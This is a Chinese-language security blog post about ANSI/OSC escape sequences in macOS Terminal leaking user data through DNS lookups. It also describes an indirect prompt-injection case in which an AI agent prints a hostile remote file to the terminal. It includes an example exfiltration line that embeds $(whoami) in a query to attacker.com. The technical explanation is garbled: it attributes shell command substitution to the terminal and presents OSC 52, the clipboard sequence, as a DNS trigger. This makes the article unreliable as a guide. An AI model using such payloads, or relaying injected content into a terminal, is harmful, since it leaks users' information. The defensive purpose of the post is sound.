警惕 macOS 终端 ANSI 逃逸码导致的 DNS 信息泄露风险
这种漏洞的核心在于 ANSI 逃逸码（Escape Codes）的解析逻辑。通常我们认为 ANSI 码只负责控制文字颜色、光标位置或清屏，但实际上，某些特定的转义序列（如 \e] 开头的 OSC 序列）会触发终端尝试加载外部资源或执行特定指令。如果一个恶意构造的字符串被发送到终端，它可以通过将本地环境变量、当前用户名或路径名动态拼接在域名之前，通过 DNS 查询将这些数据发送到攻击者控制的服务器。
最值得警惕的场景是它与“间接提示词注入”（Indirect Prompt Injection）的结合。假设你正在使用一个 AI Agent 自动化工作流，让 AI 读取一个远程的文本文件并将其内容摘要打印到终端。如果该文本文件中隐藏了恶意 ANSI 序列，AI 在处理时可能将其视为普通字符直接输出。此时，虽然 AI 本身没有执行恶意代码，但当 macOS Terminal 渲染这些字符时，会触发底层的网络请求。
我们可以通过一个简单的逻辑示意来理解这个过程。虽然实际的攻击载荷会经过复杂的编码，但其核心逻辑类似于执行 printf "\e]52;c;$(whoami).attacker.com\a"。在这种情况下，终端在解析该序列时，会将 $(whoami) 替换为当前登录用户的名称，并尝试请求 username.attacker.com。攻击者无需入侵你的系统，只需要在自己的 DNS 服务器日志中查看谁在请求该子域名，就能精准获取你的设备信息。
对于研究 AI Agent 或自动化工具的工程师来说，这揭示了一个残酷的事实：只要 AI 能够控制终端的输出内容，渲染层就可能成为攻击向量。即便 Apple 在后续的版本更新中修复了部分导致 DNS 泄露的特定行为，但 ANSI 逃逸码在终端安全中的坑依然很多。
在实际操作层面，建议在构建 AI 驱动的终端工具时，不要盲目信任 AI 输出的任何字符串，尤其是那些包含不可见字符的内容。一个稳妥的方案是在将 AI 输出传递给终端之前，通过正则过滤掉非必要的 OSC 序列，或者在显示层增加一层转义处理，确保所有 ANSI 码都被当作纯文本渲染而非指令执行。
如果你在终端中看到 AI 突然刷出一些奇怪的乱码，或者在没有任何网络请求指令的情况下，网络监控工具（如 Little Snitch 或 Wireshark）显示终端进程在尝试连接陌生域名，那么大概率是触发了类似的逃逸机制。在追求 AI 自动化效率的同时，必须重新审视终端渲染这一最底层环节的安全性。
